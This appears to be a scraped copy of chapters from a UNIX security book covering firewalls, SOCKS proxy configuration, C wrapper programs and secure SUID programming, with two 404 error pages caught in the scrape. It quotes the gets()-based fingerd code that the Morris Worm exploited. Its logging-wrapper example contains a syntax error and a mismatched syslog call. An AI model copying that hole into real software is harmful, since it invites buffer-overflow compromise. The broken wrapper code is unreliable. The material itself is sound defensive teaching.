Does this case sound unlikely? It isn't. Richard Power of the Computer Security Institute (CSI) surveyed more than 320 Fortune 500 computer sites about their experiences with firewalls. His survey results were released in September of 1995 and revealed that 20% of all sites had experienced a computer security incident. Interestingly, 30% of the Internet security incidents reported by respondents occurred after the installation of a firewall. This incident rate is probably a combined result of misconfiguration, unmonitored back door connections, and other difficulties.

The CSI study raised a number of questions:

  • Perhaps the firewall installation at some sites was faulty, or too permissive.

  • Perhaps users internal to the organization found ways to circumvent the firewall by connecting unauthorized modems to the network, thus creating back doors into the network.

  • Perhaps the use of firewalls resulted in feelings of overconfidence and a resulting relaxation of other, more traditional controls, thus leading to problems.

  • Perhaps the sites using the firewalls are more attractive targets than sites without firewalls, and thus attract more attacks.

  • Perhaps, as suggested by many other studies, the majority of incidents continue to be caused by insiders, and these are not stopped by firewalls.

  • Perhaps the sites didn't really have a firewall. Over 50% of the companies that claimed to have a "firewall" merely had a screening router.

The key conclusion to be drawn from all of this information is that one or more network firewalls may help your security, but you should plan the rest of your security so that your systems will still be protected in the event that your firewall fails.

21.6.3 Do You Really Need Your Desktop Machines on the Internet?

Let us conclude by reiterating something we said earlier - if you have no network connection, you don't need an external firewall. The question you really should ask before designing a firewall strategy is: what is to be gained from having the connection to the outside, and who is driving the connection? This question revisits the basic issues of policy and risk assessment discussed in Chapter 2, Policies and Guidelines.

At many locations, users are clamoring for Internet access because they want access to Usenet news, entertaining mailing lists, personal email, and WWW on their desktop. However, employees often do not want access to these services for purposes that are work related or work enhancing. Indeed, many organizations are now restricting in-house access to those services because employees are wasting too much time on them. Rather than having full network access to your entire corporate network, you might consider using one approach for users who need Internet access, and a different approach for users who simply want Internet access. For example:

  • Have a disconnected network of a small number of machines that are connected to the Internet. Users who really need Internet access are given accounts on these machines for as long as they continue to need access. A tape drive or serial-line UUCP connection is made available to transfer files between these machines and the internal network without exposing all the internal nodes to IP-based attacks.

  • Use a hard-wired UUCP connection to transfer email between your internal network and the Internet. This connection will allow your employees to exchange email with other sites for work-related purposes, but will not expose your network to IP-based attacks.

  • Provide remaining users with some form of account access through an ISP outside your company. Then, on their own time, your employees can access the Internet (and possibly some other special services). If you negotiate with the ISP for a large block of accounts for your employees, you may be able to get a very good rate. The rate may be so good, in fact, that you may wish to use company funds to subsidize the accounts, and have low-cost personal Internet access (at home) be another benefit for working at your company. This solution is probably cheaper than a firewall, a major break-in, and the time lost to employees surfing the WWW at work.

Remember that the best firewall is still a large air gap between the network and any of your computers, and that a pair of wire cutters remains the most effective network protection mechanism.[14]

[14] Thanks to Steve Bellovin for this observation.

Previous: 21.5 Special Considerations | Practical UNIX & Internet Security | Next: 22. Wrappers and Proxies
21.5 Special Considerations | Book Index | 22. Wrappers and Proxies


[Chapter 22] Wrappers and Proxies

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 21.6 Final Comments Chapter 22 Next: 22.2 sendmail (smap/smapd) Wrapper

22. Wrappers and Proxies

Contents:
Why Wrappers?
sendmail (smap/smapd) Wrapper
tcpwrapper
SOCKS
UDP Relayer
Writing Your Own Wrappers

A wrapper is a program that is used to control access to a second program. The wrapper literally wraps around the second program, allowing you to enforce a higher degree of security than the program can enforce on its own.

22.1 Why Wrappers?

Wrappers are a recent invention in UNIX security. These programs were born out of the need to modify operating systems without access to the systems' source code. However, their use has grown. and wrappers have become a rather elegant security tool for a variety of reasons:

  • Because the security logic is encapsulated into a single program, wrappers are simple and easy to validate.

  • Because the wrapped program remains a separate entity, it can be upgraded without a need to recertify the program that is wrapping it.

  • Because wrappers call the wrapped program via the standard exec() system call, a single wrapper can be used to control access to a variety of wrapped programs.

One common use of wrappers is to limit the amount of information reaching a network-capable program. The default design of such programs can be too trusting, and can accept too much information without validation. We will discuss a few common examples later in this chapter.

This chapter describes three common wrappers:

  • A sendmail wrapper (smap/smapd) developed by Trusted Information Systems (TIS)

  • A general-purpose wrapper (tcpwrapper) for UDP and TCP daemons, developed by Wietse Venema

  • SOCKS, a wrapper that permits outbound TCP/IP connections to tunnel through firewalls, developed by David Koblas and Michelle Koblas

This chapter also briefly describes the UDP Relayer, developed by Tom Fitzgerald. The final section of this chapter describes the situations in which you might wish to write wrappers of your own.

Previous: 21.6 Final Comments | Practical UNIX & Internet Security | Next: 22.2 sendmail (smap/smapd) Wrapper
21.6 Final Comments | Book Index | 22.2 sendmail (smap/smapd) Wrapper


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/puis/ch22_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/puis/ch22_03.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 22] 22.4 SOCKS

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 22.3 tcpwrapper Chapter 22
Wrappers and Proxies 		Next: 22.5 UDP Relayer

22.4 SOCKS

SOCKS is a system that allows computers behind a firewall to access services on the Internet. The program allows you to centrally control how programs on your organization's network communicate with the Internet. With SOCKS, you can allow specific services to specific computers, disable access to individual hosts on the Internet, and log as much or as little as you want.

SOCKS was originally written by David Koblas and Michelle Koblas. It has since been extended by Ying-Da Lee at NEC's Systems Laboratory, and a commercially supported version is available from NEC. The name SOCKS stands for "SOCK-et-S." According to the SOCKS FAQ, "it was one of those `development names' that never left."

SOCKS consists of two parts:

SOCKS server

A program that is run on a host that can communicate directly with both the Internet and the internal computers on your network (e.g., the firewall's gate).

SOCKS client programs

Specially modified Internet client programs that know to contact the SOCKS server instead of sending requests directly to the Internet.

The standard SOCKS distribution comes with client programs for finger, ftp, telnet, and whois. SOCKS also includes a library you can use to create other SOCKS clients at will. Furthermore, many programs, such as NCSA Mosaic, include provisions for using SOCKS to negotiate firewalls.

SOCKS is available for most versions of UNIX, including SunOS, Sun Solaris, IRIX, Ultrix, HP-UX, AIX, Interactive Systems UNIX, OSF/1, NetBSD, UNIXWare, and Linux. A version called PC SOCKS, by Cornell Kinderknecht, is available for Microsoft Windows. A Macintosh version is under development.

22.4.1 What SOCKS Does

The SOCKS client software works by replacing calls to the UNIX socket functions - connect(), getsocketname(), bind(), accept(), listen() and select() - with its own versions of these functions. In practice, this replacement is done by adding a few macro definitions to the CFLAGS in the Makefile of the program that is used to compile the network client program, and then linking the resulting program with the SOCKS library.

When a SOCKS-modified client attempts to connect to a server on the Internet, the SOCKS library intercepts the connection attempt and instead opens up a connection to the SOCKS server. After the connection is established, the SOCKS client sends through the following information:

  • Version number

  • Connect request command

  • Port number to which the client requested to connect

  • IP address to which the client requested to connect

  • Username of the person initiating the request

The SOCKS server then checks its access control list to see if the connection should be accepted or rejected. If the connection is accepted, the server opens up a connection to the remote machine and then relays all information back and forth. If the connection is rejected, the server disconnects from the client. This configuration is shown graphically in Figure 22.1.

Figure 22.1: : Using SOCKS for proxying

SOCKS can also be used to allow computers behind a firewall to receive connections. In this case, a connection is opened to the SOCKS server, which in turn gets ready to accept connections from the Internet.

SOCKS works only with TCP/IP; for UDP services (such as Archie), use UDP Relayer as described later in this chapter.

22.4.2 Getting SOCKS

Socks may be freely downloaded from the Internet. The address is:

ftp://ftp.nec.com/pub/security/socks.cstc/
http://www.socks.nec.com/

If you operate two nameservers to hide information from the Internet, you will also need to download the file Rgethostbyname.c. This file contains a function that can be used to query multiple nameservers to resolve a hostname.

There is a mailing list devoted to SOCKS and related issues. To join it, send the message "subscribe socks your-email-address" to majordomo@syl.dl.nec.com.

NOTE: This section discusses SOCKS Version 4. At the time of this writing, SOCKS Version 5 was under development. New features in SOCKS 5 include strong authentication, authentication method negotiation, message integrity, message privacy, and support for UDP applications.

22.4.3 Getting SOCKS Running

After you have downloaded the system, you will need to follow these steps to get the system running:

  1. Unpack the SOCKS distribution.

  2. Decide whether you wish to have the SOCKS daemon started automatically when the system starts (boot time), or started by inetd when each SOCKS request is received.

    The advantage of having the daemon start automatically at system start-up is that the daemon will need to read its configuration file only once. Otherwise, the configuration file will have to be read each time a SOCKS connection is requested. We recommend that you have SOCKS started at boot time.

  3. Edit the file Makefile in the main SOCKS directory and the file include/socks.h to reflect the policy of your site. Be sure to edit the variables found in Table 22.4.
    Table 22.4: Variables

    Variable

    Location

    Purpose/Setting

    SOCKS_DEFAULT_SERVER

    include/socks.h

    Set with the hostname of the computer that hosts the sockd daemon.

    SOCKS_DEFAULT_NS

    include/socks.h

    Set if the clients inside your firewall cannot look up the IP addresses of external hosts.

    NOT_THROUGH_INETD

    include/socks.h

    Set if socksd will be started automatically at system boot.

    SOCKS_CONF

    include/socks.h

    Location of the SOCKS configuration file for client machines.

    SOCKD_CONF

    include/socks.h

    Location of the SOCKS configuration file for the sockd daemon.

    MULTIHOMED_SERVER

    include/socks.h

    Set if sockd will be running on a multihomed server (a gate computer with two Ethernet ports).

    SOCKD_ROUTE_FILE

    include/socks.h

    Location of the SOCKS routing file, for use with multihomed servers.

    FACIST

    Makefile

    Causes SOCKS FTP client to log names of all files transferred.

    FOR_PS

    Makefile

    Causes sockd to display information about its current activity in the output from the ps command.

    SERVER_BIN_DIR

    Makefile

    Directory containing the sockd daemon.

    CLIENTS_BIN_DIR

    Makefile

    Directory containing the SOCKS client programs.

  4. Compile SOCKS with a suitable C compiler.

  5. Verify that sockd compiled properly and with the correct configuration by running sockd with the -ver option:

    % ./sockd -ver
 CSTC single-homed, stand-alone SOCKS proxy server version 4.2.
 Supports clients that use Rrcmd().
%

  6. Become superuser.

  7. Install the SOCKS daemon in the location that you specified in the Makefile; you may be able to do this by typing "make install.server".

  8. Add the SOCKS service to your /etc/services file. It should look like this:

    socks			1080/tcp

  9. Now you need to set up the SOCKS configuration file. See the section called "The SOCKS Server Configuration File: /etc/sockd.conf below.

  10. If you decided to have SOCKS start automatically at system boot time, modify your boot configuration files (either by adding a few lines to /etc/rc.local or by creating a new file in /etc/rc2.d/). You can set the start-up by adding a few lines that look like this:

    # Start SOCKS server
if [ -f /usr/etc/sockd ]; then
      (echo -n "sockd... ")
                >/dev/console
      /usr/etc/sockd >/dev/console 2>&1
fi

  11. If you decided to have SOCKS start from inetd (and you probably don't want to do this), add this line to the /etc/inetd.conf file:

    socks stream tcp nowait nobody /usr/etc/sockd

  12. Start the sockd daemon manually, or reset inetd.

  13. Test the system.

22.4.4 SOCKS and Usernames

SOCKS permits you to allow or deny access to Internet services based on both IP address and the username of the person on the local network making the request. There are two ways that SOCKS can determine the username of a person on the internal network:

  1. Normally, a SOCKS client will send through the username of the person initiating the connection as part of the SOCKS protocol.

  2. SOCKS can also use the ident protocol. For more information, see the section "Identification Protocol (auth) (TCP Port 113)" in Chapter 17.

22.4.5 SOCKS Identification Policy

The choice of identification policy is determined by the way in which the sockd program is invoked and by the /etc/sockd.conf configuration file.

Normally, sockd is invoked with one of three options:

sockd [-ver | -i | -I]

These options have the following meanings:

-ver

Prints the sockd configuration information and exits.

-I

Forces SOCKS to use the ident protocol. Denies access to any client that is not running the ident protocol. Also denies access to clients for which the username returned by the ident protocol does not match the username provided by the SOCKS protocol.

-i

Less restrictive than -I. Denies access to clients when the username returned by the ident protocol is different from the username returned by the SOCKS protocol, but allows use of sockd by users who do not have ident running on their systems.

The identification options -i and -I can be overridden by a statement in the SOCKS configuration file, /etc/sockd.conf.

22.4.6 The SOCKS Server Configuration File: /etc/sockd.conf

The sockd configuration file, /etc/sockd.conf, allows you to control which TCP/IP connections are passed by the sockd daemon. As the daemon usually runs on a computer that has access to both your organization's internal network and the Internet, the sockd.conf file controls, in part, which services are passed between the two.

The sockd program doesn't know the difference between your internal and external networks. It simply receives connections, determines the parameters of the connections (username, source, requested destination, and TCP/IP service), then scans rules in the /etc/sockd.conf file to determine if the connections should be permitted or denied.

The /etc/sockd.conf file is an ASCII text file. Each line consists of a rule to either allow connections or reject (deny) them. The sockd program scans the file from the first line to the last line until a match is found. When a match is found, the action specified by the line is followed.

Lines in the /etc/sockd.conf file may be up to 1023 characters long. Each line has the following form:

[allow | deny] [?=auth] [*=username(s)|filename(s)]
source-address source-mask
[destination-address destination-mask]
[operator destination-port]
[: shell-command]

Fields are separated by spaces or tabs. If a number sign (#) is found on the line, everything after the number sign is assumed to be a comment, except as noted below.

If an incoming TCP/IP connection does not match any of the lines in the /etc/sockd.conf configuration file, it is rejected.

Here is an explanation of the fields:

allow | deny

Specifies whether a connection matching the rule on this line should be allowed or denied.

?=auth

If present, this field allows you to override the identification policy specified when the program was invoked. Specify "?=I" to cause sockd to reject the connection if the user on the client machine is not running ident, or if the name returned by ident is not the same as the username sent by the SOCKS client. Specify "?=i" to cause sockd to reject the connection if the name returned by ident is not the same as the name sent by the SOCKS client.

*=username(s)|filename(s)

If present, causes the rule to match a particular username. You can also specify a filename, in which case the usernames are read out of the file (one username per line). Here are some examples:

Username | Result
*=simsong | Matches the user simsong.
*=fred,julie | Matches the users fred and julie.
*=/etc/goodusers | Matches anybody in the file /etc/goodusers.
*=fred,/etc/goodusers | Matches the user fred and all of the users in the file /etc/goodusers.
source-address source-mask

The address and mask allow you to specify a match for a single IP address or a range of addresses. The source-address may be either an IP address in the form hhh.iii.jjj.kkk or an Internet hostname; the source-mask must be an IP address mask in the form hhh.iii.jjj.kkk.

The source-mask specifies which bits of the source-address should be compared with the actual address of the incoming IP connection. Thus, a source-mask of 0.0.0.0 will cause the rule to match any IP address, while a source-mask of 255.255.255.255 will only allow for an exact match. These and other possibilities are explored in the table below:

source-address | source-mask | Result
18.80.0.1 | 255.255.255.255 | Matches the host 18.80.0.1.
204.17.190.0 | 255.255.255.0 | Matches any host on the subnet 204.17.190.
10.80.0.1 | 255.0.0.0 | Matches any host on net 10.
0.0.0.0 | 0.0.0.0 | Matches every host on the Internet.
operator destination-port

These optional arguments allow you to specify a particular TCP service or a range of TCP/IP ports. For example, you can specify "le 1023" to select all of the UNIX "privileged" ports, or you can specify "eq 25" to specify the SMTP port. The following table lists all of the operators:

operator | Meaning
eq | Equal to
neq | Not equal to
lt | Less than
le | Less than or equal to
gt | Greater than
ge | Greater than or equal to
: shell-command

You can specify a command that will be executed when the line is matched. The command line is executed by the Bourne shell (/bin/sh). Before the line is executed, the following substitutions are made:

Token | Replaced With
%A | The fully qualified domain name (FQDN) of the client (the computer contacting sockd), if it can be determined; otherwise, the computer's IP address
%a | The IP address of the client
%c | The direction of the connection; replaced with connect if the client is attempting to make an outgoing connection, or bind if the client is waiting for an incoming connection
%p | The process ID of sockd
%S | The service name, if it can be determined from the /etc/services database; otherwise, the destination port number
%s | The destination port number
%U | The username reported by identd
%u | The username sent by the client program
%Z | The FQDN name of the destination host, if it can be determined; otherwise, the computer's IP address
%z | The IP address of the destination computer
%% | "%"

Obviously, token expansions that require that sockd look up a value in a database (such as %A, %S, and %Z) will take longer to execute than token expansions that merely report an IP or port number (such as %a, %s and %z).

This example command runs finger to determine the users on a particular computer, and then sends the results to the root account of the computer that is running sockd:

/usr/ucb/finger @%A | /bin/mailx -s 'SOCKS: rejected %u@%A' root

22.4.6.1 #NO_IDENTD and #BAD_ID

In addition to the pattern matching described above, sockd allows you to specify rules that will match any computer contacting the sockd daemon which is not running the ident protocol, or for which the username returned by the ident protocol is different from the username provided in the initial sockd contact. These lines have the form:

#NO_IDENTD: command
#BAD_ID: command

22.4.6.2 Example /etc/sockd.conf configuration files

Here are some example lines from an /etc/sockd.conf configuration file. The configuration file is designed to protect an organization that has placed a set of UNIX workstations on IP subnet 204.99.90.

deny

204.99.90.0 255.255.255.0 204.99.90.0 255.255.255.0

This initial rule disallows access to the internal network from internal computers using SOCKS. (Why tie up the SOCKS server if you don't need to?)

allow

0.0.0.0 0.0.0.0 204.99.90.100 255.255.255.255 eq 25

Allows connections to port 25 (SMTP) of the machine 204.99.90.100. This allows incoming electronic mail to that network.

allow

204.99.90.100 255.255.255.255 0.0.0.0 0.0.0.0 eq 25

Allows outgoing connections from the machine 204.99.90.100 to port 25 of any computer on the Internet. This rule allows the organization to send mail to outside computers.

allow

204.99.90.0 255.255.255.0 0.0.0.0 0.0.0.0

Allows outgoing connections from any host on subnet 204.99.90 to any computer on the Internet. If you have this rule, the previous rule is unnecessary.

deny

0.0.0.0 0.0.0.0 204.99.90.255 255.255.255.000 eq 23 : \

safe_finger @%A |/bin/mailx -s 'Telnet denied from %U/%A' root

This rather complex rule denies any attempted login to the organization's internal network. In addition to stopping the logins, it also does a finger of the computer from where the attempt is coming and sends email to the root account of the computer running sockd. If the remote machine is running the ident protocol, the username will be sent as well.

NOTE: Do not use reverse finger for logging contacts on the finger port (port 79). Otherwise, a loop may result, with two sockd daemons continually attempting to finger each other until they are manually shut down or the disks fill up.

deny

0.0.0.0 0.0.0.0 204.99.90.0 255.255.255.0

Denies all other connections to the subnet 204.99.99. Strictly speaking, this rule is not necessary, as a connection that does not specifically match the "allow" rules above will be rejected.

22.4.7 SOCKS Client Configuration File: /etc/socks.conf

Each client that wishes to use the sockd server must also have its own configuration file. The configuration file has a syntax that is similar to, but slightly different from, the syntax of the /etc/sockd.conf file.

When a SOCKS client attempts to make an outgoing connection to another host on the Internet, or when it calls the Rbind() function to accept an incoming connection, the SOCKS library scans the /etc/socks.conf configuration file line by line, starting with the first line, until it finds a line that matches the requested connection. The library then performs the action that is specified in the file.

Each line in the file can have the following form:

deny [*=username(s)|filename(s)] destination-address destination-mask
    [operator destination-port]
    [: shell-command]

direct [*=username(s)|filename(s)] destination-address destination-mask
    [operator destination-port]
[: shell-command]

sockd [@=serverlist] [*=username(s)|filename(s)]
    destination-address destination-mask
    [operator destination-port]
    [: shell-command]

Most of these fields are similar to those in the /etc/sockd.conf file. The differences are described below:

deny

The deny operator specifies that a TCP/IP connection that matches the line should be denied. (Remember, even though this connection will prevent the SOCKS package from making a connection to the site in question, the user may still have the option of connecting to the site using a client program that has not been linked with the SOCKS library. Thus, the deny operator running on the client computer is not a substitute for a suitable firewall choke. For more information on firewalls, see Chapter 21, Firewalls.)

direct

The direct operator tells the SOCKS library that the TCP/IP connection should be sent directly through.

sockd [@=serverlist]

The sockd operator tells the SOCKS library that the TCP/IP connection should be sent to the sockd daemon, which presumably will then pass it through to the outside network.

The name of the host that is running the sockd server is compiled into the SOCKS library. It may also be specified on the command line, the SOCKS_SERVER environment variable, or it may be specified in the /etc/socks.conf configuration file using the @ argument. More than one server may be specified by separating the names with a comma, such as:

sockd @=socks1,socks2,sock3 0.0.0.0 0.0.0.0

In SOCKS version 4.2, the servers are tried in the order in which they appear in the configuration file. Thus, you can specify different servers in different orders on different clients to distribute the load. (A more intelligent approach, though, would be for the servers to be tried in random order.)

22.4.7.1 Example /etc/socks.conf file

This simple configuration file, for an organization administrating the subnet 204.90.80, specifies that all connections to organization's internal subnet should go direct, while all connections to the outside network should go through the SOCKS server:

direct 204.90.80.0 255.255.255.0
sockd @=socks-server 0.0.0.0 0.0.0.0

Previous: 22.3 tcpwrapper | Practical UNIX & Internet Security | Next: 22.5 UDP Relayer
22.3 tcpwrapper | Book Index | 22.5 UDP Relayer


[Chapter 22] 22.5 UDP Relayer

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 22.4 SOCKS Chapter 22
Wrappers and Proxies 		Next: 22.6 Writing Your Own Wrappers

22.5 UDP Relayer

UDP Relayer is a program written by Tom Fitzgerald that receives UDP packets and retransmits them to other computers. Like SOCKS, it has a configuration file that allows you to specify which kinds of packets should be forwarded and which should not. Because UDP is a connectionless protocol, UDP Relayer must keep track of outgoing packets so that incoming packets can be relayed back to the proper sender. By default, UDP Relayer remembers outgoing packets for 30 minutes.

At the time of this writing, UDP Relayer was in an early 0.2 Alpha release. A future release is planned, but that release may or may not occur - especially considering that SOCKS Version 5 will include support for UDP.

Thus, instead of providing detailed instructions regarding the program's use, we will merely tell you how to get the program, and then refer you to the program's documentation.

22.5.1 Getting UDP Relayer

UDP Relayer can be freely downloaded from the Internet. The address is:

ftp://ftp.wang.com/pub/fitz/udprelay-0.2.tar.Z

In the 0.2 release, the file README contains information on installing the program. The file ARCHIE-NOTES contains specific information on making UDP Relayer work with Archie.

Previous: 22.4 SOCKS | Practical UNIX & Internet Security | Next: 22.6 Writing Your Own Wrappers
22.4 SOCKS | Book Index | 22.6 Writing Your Own Wrappers


[Chapter 22] 22.6 Writing Your Own Wrappers

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 22.5 UDP Relayer Chapter 22
Wrappers and Proxies 		Next: 23. Writing Secure SUID and Network Programs

22.6 Writing Your Own Wrappers

In this section, we describe the reasons for writing your own wrappers. In most cases, you won't need to write your own wrappers; you'll find that the standard UNIX wrappers will suit most situations.

22.6.1 Wrappers That Provide Temporary Patches

A typical case in which you might want to build a wrapper yourself is when there is a report of a new bug in some existing software on your system that is triggered or aggravated when an environment variable or input is uncontrolled. By writing a small wrapper, you can filter what reaches the real program, and you can reset its environment. The software can thus continue to be used until such time as your vendor releases a formal patch.

The code in Example 22-2 is an example of such a wrapper. It was originally written by Wietse Venema and released as part of CERT Advisory 11, in 1992. An unexpected interaction between Sun Microsystems' shared library implementation and various SUID and SGID programs could result in unauthorized privileges being granted to users. The temporary fix to the problem was to put a wrapper program around susceptible programs (such as the sendmail program) to filter out environment variables that referenced unauthorized shared libraries - those variables beginning with the characters "LD_".

Example 22.2: Wrapper Program for sendmail

/* Start of C program source */

/* Change the next line to reflect the full pathname
 of the file to be protected by the wrapper code   */

#define COMMAND "/usr/lib/sendmail.dist"
#define VAR_NAME "LD_"

main(argc,argv,envp)
    int argc;
    char **argv;
    char **envp;
{
    register char  **cpp;
    register char  **xpp;
    register char   *cp;

    for (cpp = envp; cp = *cpp;) {
        if (strncmp(cp, VAR_NAME, strlen(VAR_NAME))==0) {
            for (xpp = cpp; xpp[0] = xpp[1]; xpp++){
            }    /* void */ ;
        }
        else {
            cpp++;
            }
        }

    execv(COMMAND, argv);
    perror(COMMAND);
    exit(1);
}
    /* End of C program source */

To use this code, you would compile it, move the original sendmail to a safe location, and then install the wrapper in place of the real program. For the example above, for instance, you would issue the following commands as the superuser:

# make wrapper
# mv /usr/lib/sendmail /usr/lib/sendmail.dist
# chmod 100 /usr/lib/sendmail.dist
# mv ./wrapper /usr/lib/sendmail
# chown root /usr/lib/sendmail
# chmod 4711 /usr/lib/sendmail

22.6.2 Wrappers That Provide Extra Logging

Another case in which you might want to build your own wrapper code is when you wish to do some extra logging of a program execution, or to perform additional authentication of a user. The use of a wrapper allows you to do this without modifying the underlying code.

Suppose you suspect some user of your system of misusing the system's printer. You wish to gain some additional log information to help you determine what is being done. So, you might use a wrapper such as the one in Example 22.3.

Example 22.3: : A Logging Wrapper

/* Start of C program source */

/* Change the next line to reflect the full pathname
of the file to be protected by the wrapper code   */

#define COMMAND "/usr/lib/.hidden/lpr"
#include <syslog.h>

main(argc,argv,envp)
    int argc;
    char **argv, **envp;
{
    int iloop;

    openlog("xtra-log", LOG_PID, LOG_LPR);
    syslog(LOG_INFO, "lpr invoked with %d arguments", argc);
    for (iloop = 1; i loop < argc; iloop++){
        if(strlen(argv[iloop])>1023) argv[iloop][1023]=0;
        syslog(LOG_INFO, "arg %d is `%s'", argv[iloop]);
    }
    syslog(LOG_INFO, "uid is %d", getuid());
    closelog();

    execv(COMMAND, argv);
    perror(COMMAND);
    exit(1);
}
    /* End of C program source */

To use this code, you follow the same basic steps as in the previous example: you compile the code, make the hidden directory, move the original lpr to a safe location, and then install the wrapper in place of the real program. For this example, you might issue the following commands as the superuser:

# make wrapper
# mkdir /usr/lib/.hidden
# chmod 700 /usr/lib/.hidden
# mv /usr/bin/lpr /usr/lib/.hidden/lpr
# chmod 100 /usr/lib/.hidden/lpr
#  mv ./wrapper /usr/bin/lpr
# chown root /usr/bin/lpr
# chmod 4711 /usr/bin/lpr

Now, whenever someone executes the lpr command, you will find a copy of the arguments and other useful information in the syslog. See Chapter 10, Auditing and Logging, for more information on syslog and other logging facilities.

The above example can be modified in various ways to do other logging, change directories, or perform other checks and changes that might be necessary for what you want to do.

You can also adopt the concept we've discussed to put a wrapper around shell files you want to make SUID. As we noted in Chapter 5, The UNIX Filesystem, on most older UNIX systems, SUID shell files are a security problem. You can create a wrapper that is SUID, cleans up the environment (including resetting the PATH variable, and removing IFS), and then exec's the shell file from a protected directory. In this way, you'll get all of the benefits of a SUID shell file, and fewer (but, alas, still some) of the dangers.

Previous: 22.5 UDP Relayer | Practical UNIX & Internet Security | Next: 23. Writing Secure SUID and Network Programs
22.5 UDP Relayer | Book Index | 23. Writing Secure SUID and Network Programs


[Chapter 23] Writing Secure SUID and Network Programs

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 22.6 Writing Your Own Wrappers Chapter 23 Next: 23.2 Tips on Avoiding Security-related Bugs

23. Writing Secure SUID and Network Programs

Contents:
One Bug Can Ruin Your Whole Day...
Tips on Avoiding Security-related Bugs
Tips on Writing Network Programs
Tips on Writing SUID/SGID Programs
Tips on Using Passwords
Tips on Generating Random Numbers
UNIX Pseudo-Random Functions
Picking a Random Seed
A Good Random Seed Generator

With a few minor exceptions, the underlying security model of the UNIX operating system - a privileged kernel, user processes, and the superuser who can perform any system management function - is fundamentally workable. But if that is the case, then why has UNIX had so many security problems in recent years? The answer is simple: although the UNIX security model is basically sound, programmers are careless. Most security flaws in UNIX arise from bugs and design errors in programs that run as root or with other privileges, as a result of configuration errors, or through the unanticipated interactions between such programs.

23.1 One Bug Can Ruin Your Whole Day...

The disadvantage of the UNIX security model is that it makes a tremendous investment in the infallibility of the superuser and in the software that runs with the privileges of the superuser. If the superuser account is compromised, then the system is left wide open. Hence our many admonitions in this book to protect the superuser account, and to restrict the number of people who must know the password.

Unfortunately, even if you prevent users from logging into the superuser account, many UNIX programs need to run with superuser privileges. These programs are run as SUID root programs, when the system boots, or as network servers. A single bug in any of these complicated programs can compromise the safety of your entire system. This characteristic is probably a design flaw, but it is basic to the design of UNIX, and is not likely to change.

23.1.1 The Lesson of the Internet Worm

One of the best-known examples of such a flaw was a single line of code in the program /etc/fingerd, the finger server, exploited in 1988 by Robert T. Morris's Internet Worm. fingerd provides finger service over the network. One of the very first lines of the program reads a single line of text from standard input containing the name of the user that is to be "fingered."

The original fingerd program contained these lines of code:

char line[512];

line[0]
= "\0";
gets(line);

Because the gets() function does not check the length of the line read, a rogue program could supply more than 512 bytes of valid data, enabling the stack frame of the fingerd server to be overrun. Morris[1] wrote code that caused fingerd to execute a shell; because fingerd was usually installed to run as the superuser, the rogue program inherited virtually unrestricted access to the server computer. (fingerd didn't really need to run as superuser - that was simply the default configuration.)

[1] Or someone else. As noted in Spafford's original analysis of the code (see Appendix D, Paper Sources), there is some indication that Morris did not write this portion of the Worm program.

The fix for the finger program was simple: replace the gets() function with the fgets() function, which does not allow its input buffer length to be exceeded:

fgets(line,sizeof(line),stdin);

Fortunately, the Morris version did not explicitly damage programs or data on computers that it penetrated.[2] Nevertheless, it illustrated the fact that any network service program can potentially compromise the system. Furthermore, the flaw was unnoticed in the finger code for more than six years, from the time of the first Berkeley UNIX network software release until the day that the Worm ran loose. Remember this lesson: because a hole has never been discovered in a program does not mean that no hole exists.

[2] However, as the worm did run with privileges of the superuser, it could have altered the compromised system in any number of ways.

Interestingly enough, the fallible human component is illustrated by the same example. Shortly after the problem with the gets() subroutine was exposed, the Berkeley group went through all of its code and eliminated every similar use of the gets() call in a network server. Most vendors did the same with their code. Several people, including one of us, publicly warned that uses of other library calls that wrote to buffers without bounds checks also needed to be examined. These included calls to the sprintf() routine, and byte-copy routines such as strcpy().

In late 1995, as we were finishing the second edition of this book, a new security vulnerability in several versions of UNIX was widely publicized. It was based on buffer overruns in the syslog library routine. An attacker could carefully craft an argument to a network daemon such that, when an attempt was made to log it using syslog, the message overran the buffer and compromised the system in a manner hauntingly similar to the fingerd problem. After seven years, a cousin to the fingerd bug was discovered. What underlying library calls contribute to the problem? The sprintf() library call does, and so do byte-copy routines such as strcpy().

While programming tools and methods are regrettable and lead to many UNIX security bugs, the failure to learn from old mistakes is even more regrettable.

23.1.2 An Empirical Study of the Reliability of UNIX Utilities

In December 1990, the Communications of the ACM published an article by Miller, Fredrickson, and So, entitled "An Empirical Study of the Reliability of UNIX Utilities" (Volume 33, issue 12, pp. 32-44). The paper started almost as a joke: a researcher was logged into a UNIX computer from home, and the programs he was running kept crashing because of line noise from a poor modem connection. Eventually Barton Miller, a professor at the University of Wisconsin, decided to subject the UNIX utility programs from a variety of different vendors to a selection of random inputs and monitor the results.

23.1.2.1 What they found

The results were discouraging. Between 25% and 33% of the UNIX utilities could be crashed or hung by supplying them with unexpected inputs - sometimes input that was as simple as an end-of-file on the middle of an input line. On at least one occasion, crashing a program tickled an operating system bug and caused the entire computer to crash. Many times, programs would freeze for no apparent reason.

In 1995 a new team headed by Miller repeated the experiment, this time running a program called Fuzz on nine different UNIX platforms. The team also tested UNIX network servers, and a variety of X Windows applications (both clients and servers).[3] Here are some of the highlights:

[3] You can download a complete copy of the papers from ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.ps.Z.

  • According to the 1995 paper, vendors were still shipping a distressingly buggy set of programs: "...the failure rate of utilities on the commercial versions of UNIX that we tested (from Sun, IBM, SGI, DEC, and NeXT) ranged from 15-43%."

  • UNIX vendors don't seem to be overly concerned about bugs in their programs: "Many of the bugs discovered (approximately 40%) and reported in 1990 are still present in their exact form in 1995. The 1990 study was widely published in at least two languages. The code was made freely available via anonymous FTP. The exact random data streams used in our testing were made freely available via FTP. The identification of failures that we found were also made freely available via FTP; these include code fragments with file and line numbers for the errant code. According to our records, over 2000 copies of the...tools and bug identifications were fetched from our FTP sites...It is difficult to understand why a vendor would not partake of a free and easy source of reliability improvements."

